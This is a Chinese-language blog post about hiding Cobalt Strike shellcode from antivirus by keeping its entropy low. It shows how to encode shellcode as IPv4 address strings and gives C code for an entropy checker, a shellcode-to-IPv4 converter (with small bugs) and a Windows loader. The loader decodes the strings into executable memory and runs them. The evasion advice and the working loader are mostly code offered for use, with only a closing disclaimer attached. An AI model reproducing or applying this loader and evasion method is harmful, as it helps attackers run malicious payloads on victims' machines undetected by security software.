0x01 前言

熵值是用来衡量数据的随机性和不确定性的指标,高熵值表示数据更复杂和随机。

对于Cobalt Strike生成的shellcode,早已被特征容易被AV检测,所以通常会采用加密、混淆等方式来躲避检测。

在构建shellcode时,高熵值的加密方法(例如AES加密)可能会导致被杀毒软件检测到,因为它们增加了shellcode的不可预测性,但也提高了可疑性。

因此,一个常见的策略是在熵值较低的编码方式和加密之间取得平衡。例如,使用轻量级的XOR异或编码对shellcode进行轻微处理,增加熵值的幅度较小,同时降低了检测风险,但是xor对于df会被直接干掉,可以尝试对key在加密一层。

参考:下图原shellcode熵值为6.501075,xor后的为6.501075,aes后的为7.897495。

另一个策略是使用合法值(如IPv4/IPv6地址、MAC地址)对shellcode进行编码,这可以生成较低的熵值,同时减少检测的风险。类似地,使用UUID编码或英文单词编码等方法也可以达到相似的效果,找到一个合适的熵值水平,既保持可用性又不引起高熵值的怀疑。

感兴趣的可以使用下方提供的代码进行测试研究,也可以使用工具:

https://github.com/Haunted-Banshee/Shellcode-Hastur/

接下来提供一种shellcode to ipv4字符串代码以及ipv4 to shellcode加载器代码,关于其他的方式也都有公开代码可以自行查阅。

0x02 代码

2.1 熵值Check


#include <stdio.h>
#include <stdlib.h>
#include <math.h>

double calculate_entropy(const char *file_path) {
  FILE *file = fopen(file_path, "rb");
  if (!file) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  // 初始化字节计数数组
  int byte_count[256] = { 0 };
  int total_bytes = 0;
  int byte;

  // 读取文件并统计每个字节的出现次数
  while ((byte = fgetc(file)) != EOF) {
    byte_count[byte]++;
    total_bytes++;
  }

  // 计算熵值
  double entropy = 0.0;
  for (int i = 0; i < 256; i++) {
    if (byte_count[i] > 0) {
      double probability = (double)byte_count[i] / total_bytes;
      entropy -= probability * log2(probability);
    }
  }

  fclose(file);
  return entropy;
}

int main(int argc, char *argv[]) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s <file_path>\n", argv[0]);
    return EXIT_FAILURE;
  }

  const char *file_path = argv[1];
  double entropy = calculate_entropy(file_path);
  printf("Entropy of %s: %lf bits\n", file_path, entropy);

  return EXIT_SUCCESS;
}

2.2 Shellcode to IPv4


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>


int main(int argc, char *argv[]) {
  FILE *fp = fopen(argv[1], "rb");
  if (fp == NULL) {
    perror("Error opening file");
    return 1;
  }

  printf("const char* IPv4s[] =\n");
  printf("    {\n");

  uint32_t chunk;
  while (fread(&chunk, sizeof(uint32_t), 1, fp) == 1) {
    printf("        \"%d.%d.%d.%d\",\n", (chunk & 0xFF), ((chunk >> 8) & 0xFF), ((chunk >> 16) & 0xFF), ((chunk >> 24) & 0xFF));
  }

  printf("    };\n");
  fclose(f);
  return 0;

2.3 IPv4 to Shellcode加载器

c++


#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

// 声明 DecodeIPv4Fuscation 函数
void DecodeIPv4Fuscation(const char* IPV4[], PVOID LpBaseAddress, int count);

int main() {

  const char* IPv4s[] = {
    //这里放置shellcode to ipv4后的数据
    "252.232.137.0",
    "0.0.96.137",
    "229.49.210.100",
    
  };

  void* exec = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  int init = sizeof(IPv4s) / sizeof(IPv4s[0]);

  DecodeIPv4Fuscation(IPv4s, exec, init);

//  for (int i = 0; i < init * 4; i++) {
//  printf("%02X", ((unsigned char*)exec)[i]);
//}
//
  ((void(*)())exec)();

  VirtualFree(exec, 0, MEM_RELEASE);


  return 0;
}


void DecodeIPv4Fuscation(const char* ipv4Addresses[], PVOID baseAddress, int count) {
  PCSTR terminator = NULL;
  DWORD_PTR pointer = (DWORD_PTR)baseAddress;
  NTSTATUS status;

  for (int i = 0; i < count; i++) {
    status = RtlIpv4StringToAddressA((PCSTR)ipv4Addresses[i], FALSE, &terminator, (in_addr*)pointer);
    if (!NT_SUCCESS(status)) {
      return;
    }
    pointer += 4;
  }
}

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。